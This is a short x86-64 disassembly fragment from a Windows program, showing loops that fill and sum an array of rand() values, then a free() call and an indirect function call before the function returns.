call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x324]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x160]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x324], 1
cmp dword [rbp + 0x324], 0x244
jle 0x140002987
mov dword [rbp + 0x324], 0
jmp 0x140002a14
mov eax, dword [rbp + 0x324]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x320], eax
add dword [rbp + 0x324], 1
cmp dword [rbp + 0x324], 0x244
jle 0x1400029eb
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x168]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x390]
add rsp, 0x428
pop rbx
pop rbp
ret